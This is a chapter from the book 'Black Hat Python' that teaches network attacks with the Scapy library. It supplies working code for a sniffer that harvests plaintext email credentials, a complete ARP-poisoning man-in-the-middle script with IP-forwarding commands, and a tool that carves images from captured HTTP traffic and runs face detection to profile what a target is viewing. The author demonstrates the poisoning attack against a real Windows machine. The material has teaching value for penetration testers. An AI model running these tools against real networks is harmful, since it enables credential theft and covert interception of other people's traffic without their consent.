Black Hat Python: Python Programming for Hackers and Pentesters (2014)

Chapter 4. Owning the Network with Scapy

Occasionally, you run into such a well thought-out, amazing Python library that dedicating a whole chapter to it can’t do it justice. Philippe Biondi has created such a library in the packet manipulation library Scapy. You just might finish this chapter and realize that I made you do a lot of work in the previous two chapters that you could have done with just one or two lines of Scapy. Scapy is powerful and flexible, and the possibilities are almost infinite. We’ll get a taste of things by sniffing to steal plain text email credentials and then ARP poisoning a target machine on our network so that we can sniff their traffic. We’ll wrap things up by demonstrating how Scapy’s PCAP processing can be extended to carve out images from HTTP traffic and then perform facial detection on them to determine if there are humans present in the images.

I recommend that you use Scapy under a Linux system, as it was designed to work with Linux in mind. The newest version of Scapy does support Windows,[8] but for the purpose of this chapter I will assume you are using your Kali VM that has a fully functioning Scapy installation. If you don’t have Scapy, head on over to http://www.secdev.org/projects/scapy/ to install it.

Stealing Email Credentials

You have already spent some time getting into the nuts and bolts of sniffing in Python. So let’s get to know Scapy’s interface for sniffing packets and dissecting their contents. We are going to build a very simple sniffer to capture SMTP, POP3, and IMAP credentials. Later, by coupling our sniffer with our Address Resolution Protocol (ARP) poisoning man-in-the-middle (MITM) attack, we can easily steal credentials from other machines on the network. This technique can of course be applied to any protocol or to simply suck in all traffic and store it in a PCAP file for analysis, which we will also demonstrate.

To get a feel for Scapy, let’s start by building a skeleton sniffer that simply dissects and dumps the packets out. The aptly named sniff function looks like the following:

sniff(filter="",iface="any",prn=function,count=N)

The filter parameter allows us to specify a BPF (Wireshark-style) filter to the packets that Scapy sniffs, which can be left blank to sniff all packets. For example, to sniff all HTTP packets you would use a BPF filter of tcp port 80. The iface parameter tells the sniffer which network interface to sniff on; if left blank, Scapy will sniff on all interfaces. The prn parameter specifies a callback function to be called for every packet that matches the filter, and the callback function receives the packet object as its single parameter. The count parameter specifies how many packets you want to sniff; if left blank, Scapy will sniff indefinitely.

Let’s start by creating a simple sniffer that sniffs a packet and dumps its contents. We’ll then expand it to only sniff email-related commands. Crack open mail_sniffer.py and jam out the following code:

  from scapy.all import *

  # our packet callback

➊ def packet_callback(packet):

      print packet.show()

  # fire up our sniffer

➋ sniff(prn=packet_callback,count=1)

We start by defining our callback function that will receive each sniffed packet ➊ and then simply tell Scapy to start sniffing ➋ on all interfaces with no filtering. Now let’s run the script and you should see output similar to what you see below.

$ python2.7 mail_sniffer.py

WARNING: No route found for IPv6 destination :: (no default route?)

###[ Ethernet ]###

  dst       = 10:40:f3:ab:71:02

  src       = 00:18:e7:ff:5c:f8

  type      = 0x800

###[ IP ]###

     version   = 4L

     ihl       = 5L

     tos       = 0x0

     len       = 52

     id        = 35232

     flags     = DF

     frag      = 0L

     ttl       = 51

     proto     = tcp

     chksum    = 0x4a51

     src       = 195.91.239.8

     dst       = 192.168.0.198

     \options   \

###[ TCP ]###

        sport     = etlservicemgr

        dport     = 54000

        seq       = 4154787032

        ack       = 2619128538

        dataofs   = 8L

        reserved  = 0L

        flags     = A

        window    = 330

        chksum    = 0x80a2

        urgptr    = 0

        options   = [('NOP', None), ('NOP', None), ('Timestamp', (1960913461,

                    764897985))]

        None

How incredibly easy was that! We can see that when the first packet was received on the network, our callback function used the built-in function packet.show() to display the packet contents and to dissect some of the protocol information. Using show() is a great way to debug scripts as you are going along to make sure you are capturing the output you want.

Now that we have our basic sniffer running, let’s apply a filter and add some logic to our callback function to peel out email-related authentication strings.

  from scapy.all import *

  # our packet callback

  def packet_callback(packet):

➊     if packet[TCP].payload:

          mail_packet = str(packet[TCP].payload)

➋           if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

             print "[*] Server: %s" % packet[IP].dst

➌            print "[*] %s" % packet[TCP].payload

  # fire up our sniffer

➍ sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_

  callback,store=0)

Pretty straightforward stuff here. We changed our sniff function to add a filter that only includes traffic destined for the common mail ports 110 (POP3), 143 (IMAP), and SMTP (25) ➍. We also used a new parameter called store, which when set to 0 ensures that Scapy isn’t keeping the packets in memory. It’s a good idea to use this parameter if you intend to leave a long-term sniffer running because then you won’t be consuming vast amounts of RAM. When our callback function is called, we check to make sure it has a data payload ➊ and whether the payload contains the typical USER or PASS mail commands ➋. If we detect an authentication string, we print out the server we are sending it to and the actual data bytes of the packet ➌.

Kicking the Tires

Here is some example output from a dummy email account I attempted to connect my mail client to:

[*] Server: 25.57.168.12

[*] USER jms

[*] Server: 25.57.168.12

[*] PASS justin

[*] Server: 25.57.168.12

[*] USER jms

[*] Server: 25.57.168.12

[*] PASS test

You can see that my mail client is attempting to log in to the server at 25.57.168.12 and sending the plain text credentials over the wire. This is a really simple example of how you can take a Scapy sniffing script and turn it into a useful tool during penetration tests.

Sniffing your own traffic might be fun, but it’s always better to sniff with a friend, so let’s take a look at how you can perform an ARP poisoning attack to sniff the traffic of a target machine on the same network.

ARP Cache Poisoning with Scapy

ARP poisoning is one of the oldest yet most effective tricks in a hacker’s toolkit. Quite simply, we will convince a target machine that we have become its gateway, and we will also convince the gateway that in order to reach the target machine, all traffic has to go through us. Every computer on a network maintains an ARP cache that stores the most recent MAC addresses that match to IP addresses on the local network, and we are going to poison this cache with entries that we control to achieve this attack. Because the Address Resolution Protocol and ARP poisoning in general is covered in numerous other materials, I’ll leave it to you to do any necessary research to understand how this attack works at a lower level.

Now that we know what we need to do, let’s put it into practice. When I tested this, I attacked a real Windows machine and used my Kali VM as my attacking machine. I have also tested this code against various mobile devices connected to a wireless access point and it worked great. The first thing we’ll do is check the ARP cache on the target Windows machine so we can see our attack in action later on. Examine the following to see how to inspect the ARP cache on your Windows VM.

 C:\Users\Clare> ipconfig

 Windows IP Configuration

 Wireless LAN adapter Wireless Network Connection:

    Connection-specific DNS Suffix  . : gateway.pace.com

    Link-local IPv6 Address . . . . . : fe80::34a0:48cd:579:a3d9%11

    IPv4 Address. . . . . . . . . . . : 172.16.1.71

    Subnet Mask . . . . . . . . . . . : 255.255.255.0

➊   Default Gateway . . . . . . . . . : 172.16.1.254

 C:\Users\Clare> arp -a

 Interface: 172.16.1.71 --- 0xb

    Internet Address      Physical Address         Type

➋   172.16.1.254          3c-ea-4f-2b-41-f9        dynamic

    172.16.1.255          ff-ff-ff-ff-ff-ff        static

    224.0.0.22            01-00-5e-00-00-16        static

    224.0.0.251           01-00-5e-00-00-fb        static

    224.0.0.252           01-00-5e-00-00-fc        static

    255.255.255.255       ff-ff-ff-ff-ff-ff        static

So now we can see that the gateway IP address ➊ is at 172.16.1.254 and its associated ARP cache entry ➋ has a MAC address of 3c-ea-4f-2b-41-f9. We will take note of this because we can view the ARP cache while the attack is ongoing and see that we have changed the gateway’s registered MAC address. Now that we know the gateway and our target IP address, let’s begin coding our ARP poisoning script. Open a new Python file, call it arper.py, and enter the following code:

  from scapy.all import *

  import os

  import sys

  import threading

  import signal

  interface    = "en1"

  target_ip    = "172.16.1.71"

  gateway_ip   = "172.16.1.254"

  packet_count = 1000

  # set our interface

  conf.iface = interface

  # turn off output

  conf.verb = 0

  print "[*] Setting up %s" % interface

➊ gateway_mac = get_mac(gateway_ip)

  if gateway_mac is None:

      print "[!!!] Failed to get gateway MAC. Exiting."

      sys.exit(0)

  else:

      print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

➋ target_mac = get_mac(target_ip)

  if target_mac is None:

      print "[!!!] Failed to get target MAC. Exiting."

      sys.exit(0)

  else:

      print "[*] Target %s is at %s" % (target_ip,target_mac)

  # start poison thread

➌ poison_thread = threading.Thread(target = poison_target, args =

                 (gateway_ip, gateway_mac,target_ip,target_mac))

  poison_thread.start()

  try:

      print "[*] Starting sniffer for %d packets" % packet_count

      bpf_filter = "ip host %s" % target_ip

➍     packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

      # write out the captured packets

➎     wrpcap('arper.pcap',packets)

      # restore the network

➏     restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

  except KeyboardInterrupt:

      # restore the network

      restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

      sys.exit(0)

This is the main setup portion of our attack. We start by resolving the gateway ➊ and target IP ➋ address’s corresponding MAC addresses using a function called get_mac that we’ll plumb in shortly. After we have accomplished that, we spin up a second thread to begin the actual ARP poisoning attack ➌. In our main thread, we start up a sniffer ➍ that will capture a preset amount of packets using a BPF filter to only capture traffic for our target IP address. When all of the packets have been captured, we write them out ➎ to a PCAP file so that we can open them in Wireshark or use our upcoming image carving script against them. When the attack is finished, we call our restore_target function ➏, which is responsible for putting the network back to the way it was before the ARP poisoning took place. Let’s add the supporting functions now by punching in the following code above our previous code block:

  def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):

      # slightly different method using send

      print "[*] Restoring target..."

➊     send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,

              hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)

      send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,

              hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

      # signals the main thread to exit

➋     os.kill(os.getpid(), signal.SIGINT)

  def get_mac(ip_address):

➌     responses,unanswered =

           srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),

           timeout=2,retry=10)

      # return the MAC address from a response

      for s,r in responses:

      return r[Ether].src

      return None

  def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):

➍     poison_target = ARP()

      poison_target.op   = 2

      poison_target.psrc = gateway_ip

      poison_target.pdst = target_ip

      poison_target.hwdst= target_mac

➎     poison_gateway = ARP()

      poison_gateway.op   = 2

      poison_gateway.psrc = target_ip

      poison_gateway.pdst = gateway_ip

      poison_gateway.hwdst= gateway_mac

      print "[*] Beginning the ARP poison. [CTRL-C to stop]"

➏     while True:

          try:

              send(poison_target)

              send(poison_gateway)

              time.sleep(2)

          except KeyboardInterrupt:

               restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

      print "[*] ARP poison attack finished."

      return

So this is the meat and potatoes of the actual attack. Our restore_target function simply sends out the appropriate ARP packets to the network broadcast address ➊to reset the ARP caches of the gateway and target machines. We also send a signal to the main thread ➋ to exit, which will be useful in case our poisoning thread runs into an issue or you hit CTRL-C on your keyboard. Our get_mac function is responsible for using the srp (send and receive packet) function ➌ to emit an ARP request to the specified IP address in order to resolve the MAC address associated with it. Ourpoison_target function builds up ARP requests for poisoning both the target IP ➍ and the gateway ➎. By poisoning both the gateway and the target IP address, we can see traffic flowing in and out of the target. We keep emitting these ARP requests ➏ in a loop to make sure that the respective ARP cache entries remain poisoned for the duration of our attack.

Let’s take this bad boy for a spin!

Kicking the Tires

Before we begin, we need to first tell our local host machine that we can forward packets along to both the gateway and the target IP address. If you are on your Kali VM, enter the following command into your terminal:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

If you are an Apple fanboy, then use the following command:

fanboy:tmp justin$ sudo sysctl -w net.inet.ip.forwarding=1

Now that we have IP forwarding in place, let’s fire up our script and check the ARP cache of our target machine. From your attacking machine, run the following (as root):

fanboy:tmp justin$ sudo python2.7 arper.py

WARNING: No route found for IPv6 destination :: (no default route?)

[*] Setting up en1

[*] Gateway 172.16.1.254 is at 3c:ea:4f:2b:41:f9

[*] Target 172.16.1.71 is at 00:22:5f:ec:38:3d

[*] Beginning the ARP poison. [CTRL-C to stop]

[*] Starting sniffer for 1000 packets

Awesome! No errors or other weirdness. Now let’s validate the attack on our target machine:

C:\Users\Clare> arp -a

Interface: 172.16.1.71 --- 0xb

  Internet Address      Physical Address         Type

  172.16.1.64           10-40-f3-ab-71-02        dynamic

  172.16.1.254          10-40-f3-ab-71-02        dynamic

  172.16.1.255          ff-ff-ff-ff-ff-ff        static

  224.0.0.22            01-00-5e-00-00-16        static

  224.0.0.251           01-00-5e-00-00-fb        static

  224.0.0.252           01-00-5e-00-00-fc        static

  255.255.255.255       ff-ff-ff-ff-ff-ff        static

You can now see that poor Clare (it’s hard being married to a hacker, hackin’ ain’t easy, etc.) now has her ARP cache poisoned where the gateway now has the same MAC address as the attacking computer. You can clearly see in the entry above the gateway that I’m attacking from172.16.1.64. When the attack is finished capturing packets, you should see an arper.pcap file in the same directory as your script. You can of course do things such as force the target computer to proxy all of its traffic through a local instance of Burp or do any number of other nasty things. You might want to hang on to that PCAP for the next section on PCAP processing — you never know what you might find!

PCAP Processing

Wireshark and other tools like Network Miner are great for interactively exploring packet capture files, but there will be times where you want to slice and dice PCAPs using Python and Scapy. Some great use cases are generating fuzzing test cases based on captured network traffic or even something as simple as replaying traffic that you have previously captured.

We are going to take a slightly different spin on this and attempt to carve out image files from HTTP traffic. With these image files in hand, we will use OpenCV,[9] a computer vision tool, to attempt to detect images that contain human faces so that we can narrow down images that might be interesting. We can use our previous ARP poisoning script to generate the PCAP files or you could extend the ARP poisoning sniffer to do on-thefly facial detection of images while the target is browsing. Let’s get started by dropping in the code necessary to perform the PCAP analysis. Openpic_carver.py and enter the following code:

  import re

  import zlib

  import cv2

  from scapy.all import *

  pictures_directory = "/home/justin/pic_carver/pictures"

  faces_directory    = "/home/justin/pic_carver/faces"

  pcap_file          = "bhp.pcap"

  def http_assembler(pcap_file):

      carved_images  = 0

      faces_detected = 0

➊     a = rdpcap(pcap_file)

➋     sessions      = a.sessions()

      for session in sessions:

          http_payload = ""

          for packet in sessions[session]:

              try:

                  if packet[TCP].dport == 80 or packet[TCP].sport == 80:

➌                     # reassemble the stream

                      http_payload += str(packet[TCP].payload)

              except:

                  pass

➍         headers = get_http_headers(http_payload)

          if headers is None:

              continue

➎         image,image_type = extract_image(headers,http_payload)

          if image is not None and image_type is not None:

              # store the image

➏             file_name = "%s-pic_carver_%d.%s" %

                                         (pcap_file,carved_images,image_type)

              fd = open("%s/%s" %

                                         (pictures_directory,file_name),"wb")

              fd.write(image)

              fd.close()

              carved_images += 1

              # now attempt face detection

              try:

➐                 result = face_detect("%s/%s" %

                                    (pictures_directory,file_name),file_name)

                  if result is True:

                      faces_detected += 1

              except:

                  pass

      return carved_images, faces_detected

  carved_images, faces_detected = http_assembler(pcap_file)

  print "Extracted: %d images" % carved_images

  print "Detected: %d faces" % faces_detected

This is the main skeleton logic of our entire script, and we will add in the supporting functions shortly. To start, we open the PCAP file for processing ➊. We take advantage of a beautiful feature of Scapy to automatically separate each TCP session ➋ into a dictionary. We use that and filter out only HTTP traffic, and then concatenate the payload of all of the HTTP traffic ➌ into a single buffer. This is effectively the same as right-clicking in Wireshark and selecting Follow TCP Stream. After we have the HTTP data reassembled, we pass it off to our HTTP header parsing function ➍, which will allow us to inspect the HTTP headers individually. After we validate that we are receiving an image back in an HTTP response, we extract the raw image ➎ and return the image type and the binary body of the image itself. This is not a bulletproof image extraction routine, but as you’ll see, it works amazingly well. We store the extracted image ➏ and then pass the file path along to our facial detection routine ➐.

Now let’s create the supporting functions by adding the following code above our http_assembler function.

def get_http_headers(http_payload):

    try:

        # split the headers off if it is HTTP traffic

        headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]

        # break out the headers

        headers = dict(re.findall(r"(?P<'name>.*?): (?P<value>.*?)\r\n",

                                                    headers_raw))

    except:

        return None

    if "Content-Type" not in headers:

        return None

    return headers

def extract_image(headers,http_payload):

    image      = None

    image_type = None

    try:

        if "image" in headers['Content-Type']:

            # grab the image type and image body

            image_type = headers['Content-Type'].split("/")[1]

            image = http_payload[http_payload.index("\r\n\r\n")+4:]

            # if we detect compression decompress the image

            try:

                if "Content-Encoding" in headers.keys():

                    if headers['Content-Encoding'] == "gzip":

                        image = zlib.decompress(image, 16+zlib.MAX_WBITS)

                    elif headers['Content-Encoding'] == "deflate":

                        image = zlib.decompress(image)

            except:

                pass

    except:

        return None,None

    return image,image_type

These supporting functions help us to take a closer look at the HTTP data that we retrieved from our PCAP file. The get_http_headers function takes the raw HTTP traffic and splits out the headers using a regular expression. The extract_image function takes the HTTP headers and determines whether we received an image in the HTTP response. If we detect that the Content-Type header does indeed contain the image MIME type, we split out the type of image; and if there is compression applied to the image in transit, we attempt to decompress it before returning the image type and the raw image buffer. Now let’s drop in our facial detection code to determine if there is a human face in any of the images that we retrieved. Add the following code to pic_carver.py:

  def face_detect(path,file_name):

➊        img     = cv2.imread(path)

➋        cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")

         rects   = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_

                           SCALE_IMAGE, (20,20))

          if len(rects) == 0:

                  return False

          rects[:, 2:] += rects[:, :2]

      # highlight the faces in the image

➌     for x1,y1,x2,y2 in rects:

          cv2.rectangle(img,(x1,y1),(x2,y2),(127,255,0),2)

➍     cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)

          return True

This code was generously shared by Chris Fidao at http://www.fideloper.com/facial-detection/ with slight modifications by yours truly. Using the OpenCV Python bindings, we can read in the image ➊ and then apply a classifier ➋ that is trained in advance for detecting faces in a front-facing orientation. There are classifiers for profile (sideways) face detection, hands, fruit, and a whole host of other objects that you can try out for yourself. After the detection has been run, it will return rectangle coordinates that correspond to where the face was detected in the image. We then draw an actual green rectangle over that area ➌ and write out the resulting image ➍. Now let’s take this all for a spin inside your Kali VM.

Kicking the Tires

If you haven’t first installed the OpenCV libraries, run the following commands (again, thank you, Chris Fidao) from a terminal in your Kali VM:

#:> apt-get install python-opencv python-numpy python-scipy

This should install all of the necessary files needed to handle facial detection on our resulting images. We also need to grab the facial detection training file like so:

wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

Now create a couple of directories for our output, drop in a PCAP, and run the script. This should look something like this:

#:> mkdir pictures

#:> mkdir faces

#:> python pic_carver.py

Extracted: 189 images

Detected: 32 faces

#:>

You might see a number of error messages being produced by OpenCV due to the fact that some of the images we fed into it may be corrupt or partially downloaded or their format might not be supported. (I’ll leave building a robust image extraction and validation routine as a homework assignment for you.) If you crack open your faces directory, you should see a number of files with faces and magic green boxes drawn around them.

This technique can be used to determine what types of content your target is looking at, as well as to discover likely approaches via social engineering. You can of course extend this example beyond using it against carved images from PCAPs and use it in conjunction with web crawling and parsing techniques described in later chapters.

[8http://www.secdev.org/projects/scapy/doc/installation.html#windows

[9Check out OpenCV here: http://www.opencv.org/.